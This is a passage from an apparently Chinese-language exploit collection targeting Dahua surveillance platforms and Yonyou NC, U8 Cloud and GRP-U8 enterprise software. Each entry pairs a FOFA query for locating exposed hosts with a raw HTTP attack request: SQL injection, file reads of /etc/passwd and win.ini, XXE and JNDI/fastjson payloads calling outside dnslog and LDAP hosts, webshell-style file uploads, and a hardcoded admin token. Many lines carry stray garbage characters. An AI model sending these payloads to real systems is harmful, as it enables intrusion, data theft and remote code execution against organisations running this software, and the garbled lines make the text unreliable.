User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 b8 G; h/ \! `7 KConnection: close
5 j6 N+ _9 s- @9 a9 k4 H% qContent-Length: 345
, Y2 o0 m, x+ \1 D! n( l" |6 yAccept-Encoding: gzip
2 s% A! t' k, `
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
9 {8 P2 s" q2 b' S1 v    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
+ U6 M9 k& ^: P2 G      </netMarkings>
    </ns1:deleteBulletin>
. v/ q1 k6 ~# W4 W; Z% ^0 @* T  </s11:Body>
' j- Y1 D* j/ v9 D</s11:Envelope>
: m7 ]! ~  @, g% ]6 J' {

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ U+ q9 u6 M' pAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
: r6 s( J: i1 N! ?( FFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
' U; }! z% I3 \0 P8 h  a, dUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
6 B' Y/ P4 G( \: `* c$ M2 eAccept-Encoding: gzip, deflate
Accept: */*
# g/ F; B  _) DConnection: keep-alive

% B# s2 q' c) Y% {$ B
20. 大华ICC智能物联综合管理平台任意文件读取
; ]/ d. ^' i, e# F3 q  v7 z2 TFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
4 _8 H5 T& I5 U& ~& t- s6 dHost: x.x.x.x
+ l/ x6 i. R0 s% s! ?  b3 lUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
1 i9 i0 d6 y: ^4 Y, d( q, `0 DConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
6 }) ]  J& R. G/ [5 xPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
0 b8 v6 g- g& p: o5 d* G% b  kHost: x.x.x.x
8 h4 d4 l/ m" `/ R' p1 v; PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
; n3 l# n) k& s  c& GAccept-Encoding: gzip
! t: a# Z) R" H! E  sConnection: close
Content-Type: application/json;charset=utf-8

{
"a":{
( u6 T; P8 @5 f   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
$ t$ c% {; W4 `' ]: B" Y2 N. g  }""
$ m  `0 u- F' O' M; h. F. K& v}
9 B, R$ q" A/ q+ o) I1 ~
. j5 D% z% A  ?$ U: ?8 s
' G( t2 V& a5 v  d$ L22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
3 s6 L5 J( ?) d" h/ j0 FPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
  I& [0 ?. O  C( c
* `" S) F5 }& g; n{
"loginName":"${jndi:ldap://dnslog}"
}
- y9 l, @* @7 i, }# B8 u% D. j
/ ^, F( z( X: n3 m7 m3 ^

* v5 q3 ?8 h" n8 G, `; j23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
( V8 N# d, [! B; U0 L8 WFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
6 |2 h4 `( ^3 D( FHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
& I- z: S# ~- X  L. SAccept-Encoding: gzip
8 `$ p( ~* J! H, yConnection: close
+ O* \( K3 L) m0 m/ a
{
6 D9 n; _2 m! b; J0 w. e7 Z    "a":{
, i, G( \- r2 H$ ~. S$ ]% H+ v0 U1 K        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
" V; I$ ~  n( s5 Z) |# M" [        }""
8 f% T1 c" P( {# y  j}


24. 用友NC 6.5 accept.jsp任意文件上传
4 t" }  T; l; n: U- B, cFOFA：icon_hash="1085941792"
# G7 b+ }* O, u/ f4 w8 ^POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
1 d) I+ z* D0 h! U! L$ m. \; kUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
0 o  |4 }" Z% _; UAccept: */*
Accept-Encoding: gzip
" R; `2 Y- e9 h; SContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


* ~5 R: w+ X; _25. 用友NC registerServlet JNDI 远程代码执行
0 @  M. ^2 [: ~0 S) v( _$ D* {FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
+ o/ j* w4 H, w' ~( N! I/ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
+ t' \/ t$ |# |4 E
& i* b# B- R. o" jtype=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
* X5 w# ~0 C" M7 N8 V8 ^2 Q, cHost: your-ip
4 }8 T9 J" {% {7 F1 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* F' `$ F" J( d1 m& U. b, GAccept-Encoding: gzip, deflate
Accept: */*
2 p8 v" t5 a( s/ o6 |Connection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
2 G! U) Y8 U' J1 z/ WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
" w6 d8 N8 t0 J: d9 g, CConnection: close
6 }" q. I  y/ k3 G) dContent-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
. |, i) F/ [, _1 V& L; ~" L( PContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
; `7 U3 w% k7 E9 \9 g
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
; C: k/ v5 u3 p, q' {Content-Type: application/octet-stream
6 }& L+ A9 k4 s5 E
1 H/ n8 E! \1 a8 w- g<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
. a0 |5 \$ p2 T6 A, R

/uapim/static/pages/nc/head.jsp

! p  Q2 @0 t, M29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
' R; c! I( S# P' |) Z& T6 u' bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( R4 Z# H8 H4 B" lContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
! o  j- P! c6 [! y4 r7 j2 nAccept: */*
- L3 R% ~) e: c2 JConnection: keep-alive


30. 用友NC importPml SQL注入
8 x! y4 r. B; o: i% ~/ ^" sFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
5 S, E/ e# u% s5 p6 C1 o: q. Hversion<=6.5
7 Z) L  E# g4 j0 h' F; N' F; zFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
; i9 s: P8 U, N  H7 I' F0 d4 G% xGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 j0 e6 O% ^; A- T, L, ?Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 ]; ?; ~7 A: y. @  z/ SContent-Type: application/x-www-form-urlencoded
6 h. O, j* a6 C4 t* t
+ k' m" U* _+ }$ y, h! t
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 \* E) {/ Y3 H2 i" I3 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 U# D  |! r+ sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ P) W6 y& C( e; R- _) {* G% x
* ?1 j+ S: m) X' u. K
3 l1 g' s& I7 }- Z. C$ n& J33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
8 o  g: {) G8 _# k$ i( z( MGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 x" |/ n$ I" j- G! F" dContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

4 R8 l% B9 [' b! l0 S- L
- d' z4 w) n; a7 S# ?34. 用友NC warningDetailInfo接口SQL注入
& C1 o* z: ^% s7 h$ E" |FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
% _6 E5 n( M8 J/ HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; t8 J& w* n6 k( b6 X0 LContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
9 t9 \8 U& l' l4 k9 L2 AConnection: keep-alive

/ @1 }2 N) B, z  f3 R" M. E
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
7 R+ S2 }0 W( z6 C5 ePOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
& F- f& n2 ]9 h  tHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
. v0 ~  W! T; Z+ ^! Q# zAccept-Encoding: gzip, deflate
2 @% B& Y' U% b* z) l( |3 g. e6 zAccept: */*
Connection: close
8 Z, E- w+ ~* b9 r7 G0 u3 PaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
5 |+ q" O; [& }' F3 @; N
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
. F0 F- N) m& v; L, Z" }5 C4 S
<%out.println(1111*1111);%>
' j: x% E/ {9 z" Q3 X0 L8 _--fd28cb44e829ed1c197ec3bc71748df0--
% I7 D: Y! s( ~0 w

, d7 ~6 {0 t7 J. v36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# Z9 ]' e: t, g2 d4 E% W$ T) z- EAccept-Encoding: gzip, deflate
: `+ T* K. z2 E! p) AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

8 M9 r4 f0 E; G) z0 ~% _0 Ymsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


9 A, b8 o% y6 y/ v# U; F4 ~37. 用友NC-Cloud IUpdateService XXE
/ L! K4 i; C: S# XFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
0 {4 v2 D/ _2 yHost: 192.168.40.130:8989
" A+ q! R" y9 I8 }6 Q; VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& R- `+ b- g8 r; P& ?Accept-Encoding: gzip, deflate
% N( N1 {5 k, }( Z% b7 ZAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 m, X4 R; L% C6 C& F  T* l; U5 dContent-Type: text/xml;charset=UTF-8
3 v! |- n; h, {/ Y) k/ sSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

' t2 ^  W$ C, r0 g& j, D0 `<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
# C1 e  Q5 ~$ @& m, G<soapenv:Header/>
( z/ p+ S3 q' l7 S<soapenv:Body>
/ V/ g1 Q, W- t8 n7 \$ ], R<iup:getResult>
' J1 h& r1 Z: D* Q/ U3 f<!--type: string-->
% w4 Y2 T9 U" ~0 h  o% g<iup:string><![CDATA[
! j, d2 d* o. n% }<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
- P# t5 h, ]0 E; g" ~+ Z<xxx/>]]></iup:string>
</iup:getResult>
4 l: _! n* [- K</soapenv:Body>
</soapenv:Envelope>



, a9 I; u- u/ q" G; k8 K38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
& \/ m2 u( l7 a% n9 V/ L) X$ xPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
& s; t0 R# Z1 f0 s2 S! YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
3 V' g! Q6 _9 `" PAccept-Encoding: gzip, deflate
# e% a* }$ h. @8 u: z1 vAccept-Language: zh-CN,zh;q=0.9
4 q3 m2 q  T* aConnection: close
Content-Type: application/x-www-form-urlencoded
1 ]# M: S% x6 w6 f& m" g  }( a5 j
4 V+ ]- p  S$ J( o* Q' p" F__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

( [( \7 P  R# q. D, b7 t
; j: ^2 P0 I6 @  d; j# y39. 用友U8 Cloud RegisterServlet SQL注入
3 f0 u5 U  W/ F. WFOFA：title="u8c"
4 v4 G1 ~% @% h- k3 \$ rPOST /servlet/RegisterServlet HTTP/1.1
/ h0 {# ]0 x4 X, P. [& g, f/ bHost: 192.168.86.128:8089
6 m6 g: }; ^1 r. c6 D- v, oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
0 J& }6 J. D( W. f' D4 S" tConnection: close
Content-Length: 85
0 |  H. i3 h. i5 \5 qAccept: */*
# W- S1 k" v/ Y! {) QAccept-Language: en
7 R- L2 p& X7 g( @8 j0 f7 E; TContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
' o' C. |8 i1 n% W* N9 mAccept-Encoding: gzip
- m7 K- K) T9 i5 _% Z% F+ D
9 q9 \, f& O5 q2 m1 t* _usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
+ f2 j5 r; ?- M# s
$ [1 |0 W* ^; }7 a* p3 B/ U
% X2 t3 W$ i9 t! [7 S40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
- @! s3 Z# z% N% I; APOST /service/XChangeServlet HTTP/1.1
9 @$ F# L/ A- E& {  ?Host: x.x.x.x
5 j% N) \3 n$ i9 A  a7 kUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
% g% C7 y8 E/ K- QConnection: close

4 O0 H1 [  |/ S* w<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
3 M. W1 C' {5 P
+ Y0 u* i1 {& y
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
. g  ?( W8 T3 V: U8 W; gGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
  k; m: w( h+ q6 N6 W" k# bHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 z4 w( A& L( ~Content-Type: application/json
Accept-Encoding: gzip
, M8 Z0 Q9 w2 Q) HConnection: close
( h; `% B+ G/ N- {% o
; e! @4 [; t4 E& e6 b8 K
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
; d9 ^& d9 l8 _; s  fPOST /u8qx/SmartUpload01.jsp HTTP/1.1
6 h7 N9 u' M& t( _Host: x.x.x.x
" @; M* D6 e% ^( ~: OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
7 L4 b' m$ L! w. c9 I4 g  eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
* Q6 q( Y7 l1 a8 T- h
PAYLOAD
& _) `9 h- N0 ?! m: N& U
" q* y5 g: C( o
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
$ ?/ ?7 S, G9 U* i0 RFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( P8 P: V9 A$ S, e" H6 o! l1 j) {! [Connection: close
- A; @3 K' D6 h$ |# y1 R4 W0 nSOAPAction:
) G: O' A% h+ X6 y# r0 VContent-Type: text/xml;charset=UTF-8
+ Q+ H7 Z! ^3 e
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
8 F& U; S$ A+ j) M0 n8 c2 T   </soapenv:Body>
</soapenv:Envelope>
+ K) e* F' X) {( I4 b; J

9 C( d1 ~) I$ ^. `5 z44. 用友GRP-U8 bx_dj_check.jsp SQL注入
: X+ c9 d6 m2 l: f  m$ b' Y+ kFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
6 P, n- }- K* }! T( x8 ]( |Host: your-ip
! C. _- J7 i: b9 x8 W* KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
4 x, l: B# [, u; q9 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 z; {6 l7 x8 C( H; K0 I+ WAccept-Language: zh-CN,zh;q=0.9
4 h6 \) u( o: ^Connection: close


45. 用友GRP-U8 ufgovbank XXE
6 {$ y5 q2 X: c  V5 WFOFA：app="用友-GRP-U8"
- @* w. Q3 |8 M+ e4 }( C0 yPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
' V: {. b0 `* D% \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
( G' r% g6 {5 g- M( C6 dConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 U- a! I' u, r, Y6 h- m5 sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
& X$ `$ o5 f  N; L7 E/ C  Y' J
reqData=<?xml version="1.0"?>
2 d; @$ K/ D) N& R" o, F<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
6 l3 ]4 Y% o; N, B4 w/ D
; {7 q" Z% F5 T$ Y
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
+ ?  S9 t8 z! z' gGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
, i7 y3 E. n7 p- U, ~Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
  D) z5 c5 n! H7 A+ B- nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- R! p( d. z' F' W0 V; RAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 n/ [4 H- r2 F! e9 ~

47. 用友GRP A++Cloud 政府财务云 任意文件读取
9 s% w; G2 u' GFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
8 L/ k, o" ?9 D) r3 |4 T, SUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: y+ s7 O6 w9 n7 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
) r8 N* R/ l" c' P" w" ?Accept-Language: zh-CN,zh;q=0.9
7 Q" p; E- X' ?+ |If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

$ T" @1 x  c. M# e* z

0 ?0 W; Y( J& D1 x) v48. 用友U8 CRM swfupload 任意文件上传
0 o! J) ~1 G# cFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
% c' X2 ?& C; F9 ]1 o9 `, SHost: your-ip
) \6 ^  j: g) ]" t6 g* XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' q0 i2 `7 g6 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* E3 i. n/ s  M) S* p: yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 T5 }* O. @  P: n$ D5 p( @! yAccept-Encoding: gzip, deflate
! o" L7 l  V2 q& E' qContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
( N( K( c+ P; r  e------269520967239406871642430066855
$ |/ ^2 J6 D; SContent-Disposition: form-data; name="file"; filename="s.php"
7 d8 N2 F7 m9 L- B" \8 T" Q1231
% B  m( V9 Q7 R" ]Content-Type: application/octet-stream
0 O9 W$ ]' {2 }5 @+ i------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
